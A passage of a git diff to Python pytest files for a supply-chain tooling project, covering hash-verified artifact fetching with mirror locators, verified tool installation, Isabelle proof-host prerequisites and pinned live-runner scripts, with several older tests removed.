"libc-bin"] - - -def test_offline_kit_fetch_uses_the_validated_exact_raw_object( +@pytest.mark.parametrize("locator_ref", [None, "primary", "mirror"]) +def test_bootstrap_payload_fetch_uses_the_validated_exact_raw_object( monkeypatch: pytest.MonkeyPatch, tmp_path: Path, + locator_ref: str | None, ) -> None: kit_root = tmp_path / "kit" kit_root.mkdir() @@ -1468,14 +688,15 @@ def test_offline_kit_fetch_uses_the_validated_exact_raw_object( selection = { "host_profile": { "host_profile_id": "host-a", - "offline_kit": {"artifact_ids": ["uv"]}, + "bootstrap_payload_ids": ["uv"], }, "artifacts": [ { "artifact_id": "uv", "version": "1.0.0", + "source": {"locator_refs": ["primary", "mirror"]}, "platform": { - "source_urls": ["https://example.invalid/uv.tar.gz"], + "source_urls": ["https://example.invalid/uv.tar.gz", "https://mirror.invalid/uv.tar.gz"], "raw_manifest": [ { "path": "uv.tar.gz", @@ -1500,7 +721,8 @@ def fake_transfer( max_time_seconds: int | None = None, budget: maintained_client_acquisition.TransferBudget, ) -> dict[str, str]: - assert url == "https://example.invalid/uv.tar.gz" + expected_host = "mirror" if locator_ref == "mirror" else "example" + assert url == f"https://{expected_host}.invalid/uv.tar.gz" assert ca_cert is None assert max_bytes == len(payload) assert max_time_seconds is None @@ -1509,7 +731,10 @@ def fake_transfer( return {"outcome": "passed", "reason_code": "curl-transfer-qualified"} monkeypatch.setattr(bootstrap_profile, "run_curl_qualification", fake_transfer) - result = bootstrap_profile.fetch_offline_kit_payloads("host-a", kit_root, ("uv",)) + with pytest.raises(ValueError, match="locator is not approved"): + bootstrap_profile.fetch_bootstrap_payloads("host-a", kit_root, ("uv",), locator_ref="unapproved") + assert not (kit_root / "archives").exists() + result = bootstrap_profile.fetch_bootstrap_payloads("host-a", kit_root, ("uv",), locator_ref=locator_ref) assert result == [ { "artifact_id": "uv", @@ -1519,7 +744,7 @@ def fake_transfer( } ] with pytest.raises(ValueError, match="already exists"): - bootstrap_profile.fetch_offline_kit_payloads("host-a", kit_root, ("uv",)) + bootstrap_profile.fetch_bootstrap_payloads("host-a", kit_root, ("uv",), locator_ref=locator_ref) tampered_root = tmp_path / "tampered-kit" tampered_root.mkdir() @@ -1544,7 +769,7 @@ def fake_tampered_transfer( monkeypatch.setattr(bootstrap_profile, "run_curl_qualification", fake_tampered_transfer) tampered_target = tampered_root / "archives/uv/uv.tar.gz" with pytest.raises(ValueError, match="failed exact verification"): - bootstrap_profile.fetch_offline_kit_payloads("host-a", tampered_root, ("uv",)) + bootstrap_profile.fetch_bootstrap_payloads("host-a", tampered_root, ("uv",), locator_ref=locator_ref) assert not tampered_target.exists() @@ -1595,6 +820,12 @@ def do_GET(self) -> None: # noqa: N802 def _https_fixture(tmp_path: Path) -> tuple[ThreadingHTTPServer, Path]: + # Only the opt-in real-curl TLS fixtures need certificate generation. + from cryptography import x509 + from cryptography.hazmat.primitives import hashes, serialization + from cryptography.hazmat.primitives.asymmetric import rsa + from cryptography.x509.oid import NameOID + curl_version = bootstrap_profile.observe_executable( "curl-unknown-length-max-filesize", Path("/usr/bin/curl"), diff --git a/implementations/python/tests/test_issue_1219_verified_tool_installation.py b/implementations/python/tests/test_issue_1219_verified_tool_installation.py index 146727ad2..b1b6bbcc2 100644 --- a/implementations/python/tests/test_issue_1219_verified_tool_installation.py +++ b/implementations/python/tests/test_issue_1219_verified_tool_installation.py @@ -16,7 +16,7 @@ from types import SimpleNamespace import pytest -from tools import bootstrap_profile, gitleaks_tool, osv_scanner_tool, vale_tool +from tools import gitleaks_tool, osv_scanner_tool, vale_tool from tools import verified_tool_installation as installation from tools.policy import conftest_tool @@ -72,7 +72,6 @@ def _direct_install( payload: bytes, *, legacy_path: Path | None = None, - immutable_seed_root: Path | None = None, acquire=None, ) -> Path: monkeypatch.setattr(installation, "_portable_lock", _unlocked) @@ -82,7 +81,6 @@ def _direct_install( acquire=acquire or (lambda: payload), materialize=installation.materialize_direct, legacy_path=legacy_path, - immutable_seed_root=immutable_seed_root, ) @@ -105,6 +103,26 @@ def test_installation_identity_is_raw_platform_policy_and_manifest_scoped(tmp_pa assert path.name == installation.installed_manifest_identity(selection.installed_manifest) +def test_private_installer_uses_filesystem_primitives_not_a_type_allowlist( + tmp_path: Path, + monkeypatch: pytest.MonkeyPatch, +) -> None: + def forbidden_probe(_path: Path) -> str: + pytest.fail("private installation must not require filesystem-type qualification") + + monkeypatch.setattr(installation, "_filesystem_type", forbidden_probe, raising=False) + payload = b"reviewed tool" + selected = _selection(payload) + installed = _direct_install(monkeypatch, tmp_path, selected, payload) + assert installed.read_bytes() == payload + assert ( + _direct_install( + monkeypatch, tmp_path, selected, payload, acquire=lambda: pytest.fail("warm reuse fetched again") + ) + == installed + ) + + @pytest.mark.parametrize( "member", [ @@ -608,124 +626,6 @@ def test_world_writable_legacy_cache_is_never_admitted(monkeypatch: pytest.Monke ) -def test_immutable_seed_is_reverified_and_copied_into_private_job_tree( - monkeypatch: pytest.MonkeyPatch, - tmp_path: Path, -) -> None: - payload = b"reviewed tool" - selection = _selection(payload) - seed_root = tmp_path / "seed" - seed_tree = installation.installation_tree_path(seed_root, selection) - seed_binary = seed_tree / "bin" / "tool" - seed_binary.parent.mkdir(parents=True) - seed_binary.write_bytes(payload) - seed_binary.chmod(0o555) - for directory in (seed_binary.parent, seed_tree, *seed_tree.parents): - if directory == tmp_path.parent: - break - if directory.exists() and directory != tmp_path: - directory.chmod(0o555) - - job_root = tmp_path / "job" - job_root.mkdir() - job_root.chmod(0o700) - installed = _direct_install( - monkeypatch, - job_root, - selection, - payload, - immutable_seed_root=seed_root, - acquire=lambda: pytest.fail("valid immutable seed triggered acquisition"), - ) - - assert installed.read_bytes() == payload - assert installed != seed_binary - assert installed.stat().st_mode & 0o777 == 0o500 - assert seed_binary.read_bytes() == payload - - -def test_writable_seed_is_rejected_without_acquisition( - monkeypatch: pytest.MonkeyPatch, - tmp_path: Path, -) -> None: - payload = b"reviewed tool" - selection = _selection(payload) - seed_root = tmp_path / "seed" - seed_tree = installation.installation_tree_path(seed_root, selection) - seed_binary = seed_tree / "bin" / "tool" - seed_binary.parent.mkdir(parents=True) - seed_binary.write_bytes(payload) - seed_binary.chmod(0o755) - - job_root = tmp_path / "job" - job_root.mkdir() - job_root.chmod(0o700) - with pytest.raises(RuntimeError, match="seed-integrity-failure"): - _direct_install( - monkeypatch, - job_root, - selection, - payload, - immutable_seed_root=seed_root, - acquire=lambda: pytest.fail("writable seed triggered acquisition"), - ) - - -def test_unqualified_shared_filesystem_is_rejected_before_cache_or_acquisition( - monkeypatch: pytest.MonkeyPatch, - tmp_path: Path, -) -> None: - selection = _selection() - monkeypatch.setattr(installation, "_filesystem_type", lambda _path: "nfs4") - - with pytest.raises(RuntimeError, match="unsupported-filesystem"): - _direct_install( - monkeypatch, - tmp_path, - selection, - b"reviewed tool", - acquire=lambda: pytest.fail("unqualified filesystem triggered acquisition"), - ) - - -def test_darwin_filesystem_qualification_reads_the_mount_table( - monkeypatch: pytest.MonkeyPatch, - tmp_path: Path, -) -> None: - observed: list[list[str]] = [] - monkeypatch.setattr(installation.platform, "system", lambda: "Darwin") - - def run(command: list[str], **_kwargs: object) -> SimpleNamespace: - observed.append(command) - return SimpleNamespace(stdout="/dev/disk3s1s1 on / (apfs, local, journaled)\n") - - monkeypatch.setattr(installation.subprocess, "run", run) - - installation._require_qualified_filesystem(tmp_path) - - assert observed == [["/sbin/mount"]] - - -@pytest.mark.parametrize( - "payload", - ["not a mount table", "/dev/disk3s1s1 on /elsewhere (apfs, local)\n"], -) -def test_darwin_filesystem_qualification_fails_closed_on_invalid_mount_output( - monkeypatch: pytest.MonkeyPatch, - tmp_path: Path, - payload: str, -) -> None: - monkeypatch.setattr(installation.platform, "system", lambda: "Darwin") - monkeypatch.setattr( - installation.subprocess, - "run", - lambda *_args, **_kwargs: SimpleNamespace(stdout=payload), - ) - - with pytest.raises(RuntimeError, match="unsupported-filesystem"): - installation._require_qualified_filesystem(tmp_path) - - def test_darwin_directory_sync_uses_the_supported_system_command( monkeypatch: pytest.MonkeyPatch, tmp_path: Path, @@ -839,7 +739,6 @@ def ensure_verified_installation(repo_root: Path, selected: object, **kwargs: ob version=version, local_input=local_input, installation_root=tmp_path / "private", - immutable_seed_root=tmp_path / "seed", ) == installed ) @@ -849,7 +748,6 @@ def ensure_verified_installation(repo_root: Path, selected: object, **kwargs: ob tmp_path / ".cache" / "raes-sdl" / "tooling" / artifact_id / version / legacy_name ) assert observed["installation_root"] == tmp_path / "private" - assert observed["immutable_seed_root"] == tmp_path / "seed" assert observed["materialize"] is getattr(installation, materializer) assert observed["acquire"]() == b"raw" assert observed["acquisition"]["local_input"] == local_input @@ -910,18 +808,6 @@ def test_real_portable_lock_and_crash_qualification(tmp_path: Path) -> None: } -def test_partial_harness_cannot_be_recorded_as_complete_canonical_cases() -> None: - schema = json.loads( - (REPO_ROOT / "implementations" / "tooling" / "schemas" / "profiles.schema.json").read_text(encoding="utf-8") - ) - qualification_ids = set(schema["$defs"]["qualificationRecord"]["properties"]["test_case_ids"]["items"]["enum"]) - case_ids = set(schema["$defs"]["caseResult"]["properties"]["test_case_id"]["enum"]) - - assert not {"T05", "T06", "T07", "T16"} & bootstrap_profile._CASE_IDS - assert not {"T05", "T06", "T07", "T16"} & qualification_ids - assert qualification_ids == case_ids - - def test_bootstrap_qualification_retains_local_evidence_without_overclaiming() -> None: from tools.nox_support.config import INSTALLATION_QUALIFICATION_HARNESSES @@ -931,9 +817,7 @@ def test_bootstrap_qualification_retains_local_evidence_without_overclaiming() - "implementations/python/tests/issue_1219_installation_harness.py" ) assert "-s local-installation-qualification -- --output local-installation-qualification.json" in workflow - assert "--slice-evidence local-installation-qualification.json" in workflow - assert ".qualification-kit/.cache/raes-sdl/tooling/installations" in workflow - assert ".cache/raes-sdl/tooling/installations" in workflow - assert 'chmod -R u+w "${cleanup_root}"' in workflow + assert "path: local-installation-qualification.json" in workflow + assert "offline-kit" not in workflow for case_id in ("T05", "T06", "T07", "T16"): assert f"record-case {case_id}" not in workflow diff --git a/implementations/python/tests/test_issue_1220_isabelle_acquisition.py b/implementations/python/tests/test_issue_1220_isabelle_acquisition.py index 572e37935..89c6029a5 100644 --- a/implementations/python/tests/test_issue_1220_isabelle_acquisition.py +++ b/implementations/python/tests/test_issue_1220_isabelle_acquisition.py @@ -957,7 +957,7 @@ def test_ordered_locator_references_must_match_source_urls(tmp_path: Path) -> No assert "tooling-locator-arity" in _failures(root) -def test_proof_host_offline_kit_must_carry_the_native_proof_closure(tmp_path: Path) -> None: +def test_proof_host_declares_native_proof_prerequisites(tmp_path: Path) -> None: from test_tooling_artifact_policy import PROFILES_PATH, _failures, _load, _seed_policy, _write_json root = _seed_policy(tmp_path) @@ -965,11 +965,11 @@ def test_proof_host_offline_kit_must_carry_the_native_proof_closure(tmp_path: Pa host = profiles["host_profiles"][0] host["proof_support"] = "linux-x86_64-required" host["required_capability_ids"] = ["git", "bubblewrap", "fontconfig", "fonts", "locale-c-utf-8"] - host["offline_kit"]["host_prerequisite_package_ids"] = ["git", "bubblewrap", "fontconfig", "fonts-dejavu-core"] + host["host_prerequisite_package_ids"] = ["git", "bubblewrap", "fontconfig", "fonts-dejavu-core"] _write_json(root, PROFILES_PATH, profiles) assert "tooling-host-proof-closure" in _failures(root) - host["offline_kit"]["host_prerequisite_package_ids"].append("libc-bin") + host["host_prerequisite_package_ids"].append("libc-bin") _write_json(root, PROFILES_PATH, profiles) assert "tooling-host-proof-closure" not in _failures(root) @@ -978,31 +978,6 @@ def test_proof_host_offline_kit_must_carry_the_native_proof_closure(tmp_path: Pa assert "tooling-host-proof-closure" in _failures(root) -@pytest.mark.parametrize(("disposition", "rejected"), [("governed", True), ("legacy-remediation", False)]) -def test_governed_acquisition_paths_cannot_keep_repository_http( - tmp_path: Path, - disposition: str, - rejected: bool, -) -> None: - from test_tooling_artifact_policy import INVENTORY_COVERAGE_PATH, _failures, _load, _seed_policy, _write_json - - root = _seed_policy(tmp_path) - relative_path = "tools/fetch_proof.py" - (root / relative_path).write_text( - "from urllib.request import urlopen\nurlopen('https://example.invalid/proof.tar.gz')\n", - encoding="utf-8", - ) - coverage = _load(root, INVENTORY_COVERAGE_PATH) - coverage["acquisition_paths"].append( - {"path": relative_path, "inventory_id": "I09", "disposition": disposition, "site_count": 1} - ) - _write_json(root, INVENTORY_COVERAGE_PATH, coverage) - - failures = _failures(root, tracked_paths=[relative_path]) - assert ("tooling-governed-repository-http" in failures) is rejected - assert "tooling-acquisition-drift" not in failures - - def test_checked_in_isabelle_authority_binds_the_reviewed_complete_tree() -> None: from tools.tooling_installed_tree import locked_installed_tree @@ -1028,14 +1003,11 @@ def test_checked_in_isabelle_authority_binds_the_reviewed_complete_tree() -> Non expanded_bytes=2301957383, ) assert len(isabelle["source"]["locator_refs"]) == len(platform["source_urls"]) == 2 - coverage = json.loads((REPO_ROOT / "implementations/tooling/inventory-coverage.json").read_text(encoding="utf-8")) - dispositions = {item["path"]: item["disposition"] for item in coverage["acquisition_paths"]} - assert dispositions["tools/isabelle_tool.py"] == "governed" from tools.tooling_artifact_policy_discovery import python_scan - for path, disposition in dispositions.items(): - if disposition == "governed" and path.endswith(".py"): - assert python_scan((REPO_ROOT / path).read_text(encoding="utf-8")).network_call_count == 0, path + # Check the actual acquisition implementation, without inventory-site counts. + for path in ("tools/isabelle_tool.py", "tools/maintained_client_acquisition.py"): + assert python_scan((REPO_ROOT / path).read_text(encoding="utf-8")).network_call_count == 0, path profiles = json.loads( (REPO_ROOT / "implementations/tooling/profiles/development-profiles.json").read_text(encoding="utf-8") ) @@ -1043,7 +1015,7 @@ def test_checked_in_isabelle_authority_binds_the_reviewed_complete_tree() -> Non item for item in profiles["host_profiles"] if item["host_profile_id"] == "proof-ubuntu-22.04-x86_64" ) assert {"bubblewrap", "fontconfig", "fonts-dejavu-core", "libc-bin"} <= set( - proof_host["offline_kit"]["host_prerequisite_package_ids"] + proof_host["host_prerequisite_package_ids"] ) @@ -1083,7 +1055,7 @@ def test_selection_projection_rejects_invalid_tree_and_locator_shapes( _selection_from_document(document, "proof-linux-x86_64") -def test_offline_kit_fetch_uses_the_primary_locator_and_large_object_budget_for_proof_archives( +def test_bootstrap_payload_fetch_uses_the_primary_locator_and_large_object_budget_for_proof_archives( monkeypatch: pytest.MonkeyPatch, tmp_path: Path, ) -> None: @@ -1091,7 +1063,7 @@ def test_offline_kit_fetch_uses_the_primary_locator_and_large_object_budget_for_ payload = b"locked-proof-archive" selection = { - "host_profile": {"host_profile_id": "proof-host", "offline_kit": {"artifact_ids": ["isabelle"]}}, + "host_profile": {"host_profile_id": "proof-host", "bootstrap_payload_ids": ["isabelle"]}, "artifacts": [ { "artifact_id": "isabelle", @@ -1119,7 +1091,7 @@ def fake_transfer(_executable: Path, url: str, output: Path, **kwargs: object) - kit_root = tmp_path / "kit" kit_root.mkdir() - result = bootstrap_profile.fetch_offline_kit_payloads("proof-host", kit_root, ("isabelle",)) + result = bootstrap_profile.fetch_bootstrap_payloads("proof-host", kit_root, ("isabelle",)) assert result[0]["path"] == "archives/isabelle/Isabelle.tar.gz" assert observed["url"] == PRIMARY_URL @@ -1127,7 +1099,7 @@ def fake_transfer(_executable: Path, url: str, output: Path, **kwargs: object) - assert observed["max_bytes"] == len(payload) -def test_offline_kit_verification_probes_the_proof_native_closure(monkeypatch: pytest.MonkeyPatch) -> None: +def test_bootstrap_inspection_probes_native_proof_prerequisites(monkeypatch: pytest.MonkeyPatch) -> None: from tools import bootstrap_profile probed: list[list[str]] = [] @@ -1525,120 +1497,6 @@ def must_not_resolve(_repo_root: Path) -> Path: isabelle_tool.run_isabelle_build(tmp_path, bwrap=placeholder) -def _proof_slice_document(**changes: object) -> dict[str, object]: - document: dict[str, object] = { - "schema": "issue-1220-proof-input-qualification/v1", - "passed_cases": ["T05-cold-convergence", "T13-malicious-archive"], - "not_run_cases": {"T11-egress-denied-admission": "bubblewrap-network-namespace-unavailable"}, - "elapsed_seconds": {"T05-cold-convergence": 2.5, "T13-malicious-archive": 0.25}, - "coverage": {"canonical_outcome_recorded": False}, - } - document.update(changes) - return document - - -def test_proof_slice_evidence_is_bound_to_the_exact_harness_without_canonical_cases(tmp_path: Path) -> None: - from tools import bootstrap_profile - - evidence = tmp_path / "proof-input-qualification.json" - evidence.write_text(json.dumps(_proof_slice_document()), encoding="utf-8") - - results = bootstrap_profile._load_slice_results(REPO_ROOT, (evidence,)) - - harness = "implementations/python/tests/issue_1220_proof_input_harness.py" - digest = hashlib.sha256((REPO_ROOT / harness).read_bytes()).hexdigest() - assert results == [ - { - "slice_id": "T05-cold-convergence", - "canonical_case_id": "T05", - "harness_path": harness, - "harness_sha256": digest, - "outcome": "passed", - "elapsed_seconds": 2.5, - }, - { - "slice_id": "T11-egress-denied-admission", - "canonical_case_id": "T11", - "harness_path": harness, - "harness_sha256": digest, - "outcome": "not-run", - "reason_code": "bubblewrap-network-namespace-unavailable", - }, - { - "slice_id": "T13-malicious-archive", - "canonical_case_id": "T13", - "harness_path": harness, - "harness_sha256": digest, - "outcome": "passed", - "elapsed_seconds": 0.25, - }, - ] - schema = json.loads( - (REPO_ROOT / "implementations/tooling/schemas/profiles.schema.json").read_text(encoding="utf-8") - ) - import jsonschema - - for result in results: - jsonschema.validate( - result, {"$schema": schema["$schema"], "$defs": schema["$defs"], "$ref": "#/$defs/sliceResult"} - ) - assert not {"T05", "T11", "T13"} & bootstrap_profile._CASE_IDS - - -@pytest.mark.parametrize( - ("document", "message"), - [ - (_proof_slice_document(schema="issue-9999-unknown/v1"), "unknown harness"), - (_proof_slice_document(coverage={"canonical_outcome_recorded": True}), "closed shape"), - (_proof_slice_document(passed_cases=[]), "closed shape"), - (_proof_slice_document(elapsed_seconds={"T05-cold-convergence": 1}), "closed shape"), - (_proof_slice_document(passed_cases=["cold-convergence"], elapsed_seconds={"cold-convergence": 1}), "outside"), - (_proof_slice_document(passed_cases=["T01-forged-proof"], elapsed_seconds={"T01-forged-proof": 1}), "outside"), - (_proof_slice_document(not_run_cases={"T24-forged-release": "not-run"}), "outside"), - (_proof_slice_document(not_run_cases={"T11-egress-denied-admission": "Not A Reason"}), "not-run reason"), - ( - _proof_slice_document( - passed_cases=["T05-cold-convergence"], - elapsed_seconds={"T05-cold-convergence": -1}, - not_run_cases={}, - ), - "invalid duration", - ), - ( - { - "schema": "issue-1219-local-installation-qualification/v1", - "passed_cases": ["unmapped-case"], - "elapsed_seconds": {"unmapped-case": 1}, - "coverage": {"canonical_outcome_recorded": False}, - }, - "outside", - ), - ], -) -def test_proof_slice_evidence_rejects_overclaims_and_unbound_shapes( - tmp_path: Path, - document: dict[str, object], - message: str, -) -> None: - from tools import bootstrap_profile - - evidence = tmp_path / "slices.json" - evidence.write_text(json.dumps(document), encoding="utf-8") - - with pytest.raises(ValueError, match=message): - bootstrap_profile._load_slice_results(REPO_ROOT, (evidence,)) - - -def test_repeated_slice_evidence_is_rejected(tmp_path: Path) -> None: - from tools import bootstrap_profile - - evidence = tmp_path / "slices.json" - evidence.write_text(json.dumps(_proof_slice_document()), encoding="utf-8") - - with pytest.raises(ValueError, match="repeats a slice"): - bootstrap_profile._load_slice_results(REPO_ROOT, (evidence, evidence)) - - @pytest.mark.integration def test_real_proof_input_qualification_harness(tmp_path: Path) -> None: output = tmp_path / "proof-input-qualification.json" @@ -1731,25 +1589,6 @@ def test_proof_evidence_binds_every_prover_admission_source(tamper) -> None: validate_proof_manifest(tampered, run_prover=False) -@pytest.mark.parametrize( - ("schema", "harness_module"), - [ - ("issue-1219-local-installation-qualification/v1", "issue_1219_installation_harness"), - ("issue-1220-proof-input-qualification/v1", "issue_1220_proof_input_harness"), - ], -) -def test_slice_registry_is_closed_to_exactly_what_each_harness_emits(schema: str, harness_module: str) -> None: - import importlib - - from tools import bootstrap_profile - - harness_path, case_mapping = bootstrap_profile._SLICE_HARNESSES[schema] - harness = importlib.import_module(harness_module) - - assert Path(harness.__file__).resolve() == (REPO_ROOT / harness_path).resolve() - assert set(case_mapping) == set(harness.SLICE_CASE_NAMES) - - @pytest.mark.parametrize(("system", "machine"), [("Darwin", "arm64"), ("Linux", "aarch64")]) def test_replay_and_resolution_fail_explicitly_on_unsupported_platforms( monkeypatch: pytest.MonkeyPatch, diff --git a/implementations/python/tests/test_issue_1222_live_runner_acquisition.py b/implementations/python/tests/test_issue_1222_live_runner_acquisition.py index 6f42b8519..97ce6f5e5 100644 --- a/implementations/python/tests/test_issue_1222_live_runner_acquisition.py +++ b/implementations/python/tests/test_issue_1222_live_runner_acquisition.py @@ -108,8 +108,7 @@ def test_live_runner_host_profile_is_qualified_and_least_privilege() -> None: host = _live_runner_host() assert host["host_security_control_changes"] == "prohibited" assert host["proof_support"] == "unsupported" - # The native package closure is bound to an immutable snapshot archive. - assert host["native_repository_snapshot"] == "20260901T000000Z" + assert host["native_repository_identity"] == "ubuntu:noble:signed-archive" # cpython-3.14 is the declared bootstrap interpreter (execution-bound). assert "cpython-3.14" in set(host["bootstrap_payload_ids"]) required = set(host["required_capability_ids"]) @@ -117,7 +116,7 @@ def test_live_runner_host_profile_is_qualified_and_least_privilege() -> None: # TCG is used, so KVM is optional, not required. assert "kvm-access" not in required assert "kvm-access" in set(host["optional_capability_ids"]) - packages = set(host["offline_kit"]["host_prerequisite_package_ids"]) + packages = set(host["host_prerequisite_package_ids"]) assert {"qemu-system-x86", "libvirt-daemon-system", "libvirt-dev", "genisoimage"} <= packages assert {"build-essential", "python3-dev", "pkg-config"} <= packages # native build prerequisites @@ -125,7 +124,7 @@ def test_live_runner_host_profile_is_qualified_and_least_privilege() -> None: def test_scripts_install_only_reviewed_host_profile_packages() -> None: """The apt install list in each runner is a subset of the reviewed profile set.""" - declared = set(_live_runner_host()["offline_kit"]["host_prerequisite_package_ids"]) + declared = set(_live_runner_host()["host_prerequisite_package_ids"]) for script in (SMOKE_SCRIPT, GUEST_SCRIPT): text = script.read_text(encoding="utf-8") match = re.search(r"apt-get install -y ([^\n]+)", text) @@ -141,28 +140,8 @@ def test_scripts_install_only_reviewed_host_profile_packages() -> None: # --------------------------------------------------------------------------- # -def test_inventory_row_i13_is_locked_to_the_admitted_authorities() -> None: - coverage = _load_json("implementations/tooling/inventory-coverage.json") - row = next(r for r in coverage["rows"] if r["inventory_id"] == "I13") - assert row["disposition"] == "locked" - assert "implementations/tooling/artifacts.lock.json" in row["authority_refs"] - assert "tools/real-daemon/live_runner_inputs.py" in row["authority_refs"] - - -def test_live_runner_scripts_are_governed_acquisition_paths() -> None: - coverage = _load_json("implementations/tooling/inventory-coverage.json") - by_path = {p["path"]: p for p in coverage["acquisition_paths"]} - for script in ("tools/real-daemon/run_aws_smoke.sh", "tools/real-daemon/run_aws_guest_certify.sh"): - assert by_path[script]["disposition"] == "governed" - assert by_path[script]["inventory_id"] == "I13" - # exactly the one offline hash-pinned libvirt-python install site remains. - assert by_path[script]["site_count"] == 1 - - def test_cirros_runtime_selection_is_declared_for_its_only_consumer() -> None: bindings = _load_json("implementations/tooling/selector-bindings.json") - runtime = {s["artifact_id"]: s["consumers"] for s in bindings["runtime_selections"]} - assert runtime["cirros-guest-disk"] == ["tools/real-daemon/live_runner_inputs.py"] version_binding = next(b for b in bindings["bindings"] if b["artifact_id"] == "cirros-guest-disk") assert version_binding["consumers"][0]["path"] == "tools/tool_versions.py" @@ -189,17 +168,14 @@ def test_libvirt_python_pin_rejects_an_unpinned_requirement(tmp_path: Path) -> N module._libvirt_python_pin() -def test_build_closure_includes_the_backend_and_matches_the_requirements() -> None: +def test_requirements_pin_the_native_binding_and_its_build_backend() -> None: """The fetch authority and install authority for the offline closure cannot drift.""" - module = _live_runner_inputs() - requirement_hashes = module.requirements_hashes() - # libvirt-python is sdist-only, so its build backend must also be admitted. - assert {"libvirt-python", "setuptools", "wheel"} <= set(requirement_hashes) - # The closure is a reviewed manifest (data file), not an inline tuple. - closure_hashes = {entry.name.lower(): entry.sha256 for entry in module._load_python_closure()} - assert closure_hashes == requirement_hashes, "wheelhouse manifest hashes must equal the pip --require-hashes pins" - assert module.PYTHON_CLOSURE_MANIFEST.is_file(), "the closure must live in a reviewed manifest file" + text = _live_runner_inputs().LIBVIRT_PYTHON_REQUIREMENTS.read_text() + lines = [line for line in text.splitlines() if line and not line.startswith("#")] + pins = [re.fullmatch(r"([A-Za-z0-9._-]+)==[^ ]+ --hash=sha256:[0-9a-f]{64}", line) for line in lines] + assert all(pins) + assert {pin.group(1) for pin in pins} == {"libvirt-python", "setuptools", "wheel"} # --------------------------------------------------------------------------- # @@ -284,29 +260,27 @@ def test_scripts_authenticate_the_host_key_before_connecting(script: Path) -> No @pytest.mark.parametrize("script", [SMOKE_SCRIPT, GUEST_SCRIPT], ids=["smoke", "guest-certify"]) -def test_scripts_are_frozen_offline_and_require_explicit_reviewed_inputs(script: Path) -> None: +def test_scripts_are_frozen_hash_pinned_and_require_explicit_inputs(script: Path) -> None: code = _script_code(script) assert "set -euo pipefail" in code assert "sync --frozen" in code, "uv sync must be frozen" assert "--require-hashes" in code, "libvirt-python install must be hash-pinned" - assert "--offline" in code, "libvirt-python must install from the offline closure" - assert "--no-index" in code, "libvirt-python must install from the offline closure" + assert "--build-constraints" in code + assert "--default-index https://pypi.org/simple" in code assert "SSH_INGRESS_CIDR" in code, "ingress CIDR must be explicit" assert "THIRD_PARTY_NOTICES.md" in code, "the mandatory packaging input must be in the source handoff" @pytest.mark.parametrize("script", [SMOKE_SCRIPT, GUEST_SCRIPT], ids=["smoke", "guest-certify"]) -def test_scripts_execution_bind_image_snapshot_and_interpreter(script: Path) -> None: +def test_scripts_execution_bind_image_and_interpreter(script: Path) -> None: """Image, native packages and interpreter are bound to reviewed authorities, not floated/ambient.""" code = _script_code(script) # Image resolved by exact reviewed Canonical name + owner, never "newest". assert "Name=name,Values=$IMAGE_NAME" in code, "the AMI must resolve by exact reviewed image name" assert "sort_by(Images" not in code, "must not float to the newest AMI" - # Native packages install from the immutable snapshot archive. - assert "snapshot.ubuntu.com/ubuntu/$NATIVE_SNAPSHOT" in code, ( - "native packages must install from the pinned snapshot" - ) + assert "snapshot.ubuntu.com" not in code + assert "Check-Valid-Until" not in code # The declared cpython-3.14 interpreter is used and validated, not system python3. assert "cpython.tar.gz" in code, "the declared interpreter must be pre-seeded" assert "Python 3.14" in code, "the pre-seeded interpreter version must be validated" @@ -317,7 +291,6 @@ def test_reviewed_bindings_are_declared_in_tool_versions() -> None: text = (REPO_ROOT / "tools" / "tool_versions.py").read_text(encoding="utf-8") assert 'LIVE_RUNNER_UBUNTU_IMAGE_OWNER = "099720109477"' in text assert "ubuntu-noble-24.04-amd64-server-" in text, "the reviewed image name serial must be pinned" - assert 'LIVE_RUNNER_NATIVE_SNAPSHOT = "20260901T000000Z"' in text def test_smoke_verifies_the_pinned_cirros_identity() -> None: @@ -379,30 +352,6 @@ def test_verify_object_identity_fails_closed(tmp_path: Path) -> None: module.verify_object_identity(link, expected_sha256=digest, expected_size=len(b"guest-bytes")) -def test_stage_python_closure_writes_verified_wheelhouse(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> None: - module = _live_runner_inputs() - blobs = {"libvirt-python": b"lp", "setuptools": b"st", "wheel": b"wl"} - fake_closure = tuple( - module._ClosureFile( - name=name, - version="1", - filename=f"{name}.bin", - url="https://example/pkg", - sha256=hashlib.sha256(data).hexdigest(), - size=len(data), - ) - for name, data in blobs.items() - ) - monkeypatch.setattr(module, "_load_python_closure", lambda: fake_closure) - monkeypatch.setattr(module, "acquire_locked_bytes", lambda **kw: blobs[kw["artifact_id"].split(":")[-1]]) - - result = module.stage_python_closure(tmp_path) - assert result["dir"] == "wheelhouse" - assert {f["name"] for f in result["files"]} == set(blobs) - for name, data in blobs.items(): - assert (tmp_path / "wheelhouse" / f"{name}.bin").read_bytes() == data - - def test_stage_live_runner_inputs_manifest_matches_the_shell_contract(monkeypatch: pytest.MonkeyPatch) -> None: """The manifest carries every key the scripts' read_nested/read_top helpers consume.""" @@ -418,8 +367,7 @@ def fake_fetch(_host: str, stage_dir: Path, ids: list[str]) -> list[dict]: out.append({"artifact_id": aid, "path": rel, "sha256": "0" * 64, "size": 1}) return out - monkeypatch.setattr("tools.bootstrap_profile.fetch_offline_kit_payloads", fake_fetch) - monkeypatch.setattr(module, "stage_python_closure", lambda _sd: {"dir": "wheelhouse", "files": []}) + monkeypatch.setattr("tools.bootstrap_profile.fetch_bootstrap_payloads", fake_fetch) def fake_cirros(target: Path, local_input=None): target.write_bytes(b"img") @@ -436,11 +384,11 @@ def fake_cirros(target: Path, local_input=None): # exactly the keys the shell read_nested/read_top helpers dereference: assert manifest["base_image"]["owner"] assert manifest["base_image"]["name"] - assert manifest["native_repository_snapshot"] + assert "native_repository_snapshot" not in manifest assert manifest["cpython"]["staged_path"] assert manifest["uv"]["staged_path"] assert manifest["libvirt_python"]["name"] == "libvirt-python" - assert manifest["python_closure"]["dir"] == "wheelhouse" + assert "python_closure" not in manifest assert manifest["cirros_guest_disk"]["sha256"] assert manifest["cirros_guest_disk"]["size"] diff --git a/implementations/python/tests/test_issue_1226_attestation_verifier.py b/implementations/python/tests/test_issue_1226_attestation_verifier.py new file mode 100644 index 000000000..e5c5e62a6 --- /dev/null +++ b/implementations/python/tests/test_issue_1226_attestation_verifier.py @@ -0,0 +1,110 @@ +"""Signature verification is delegated; release association is decided here. + +The maintained `gh attestation verify` client owns signature, certificate and +issuer checking. This module owns the argv it is invoked with, the bounds on its +output, and the refusal of anything that is not a clean, parseable verdict. +A skip, a crash, malformed output or a cancelled run never becomes admission. +""" + +from __future__ import annotations + +import json + +import 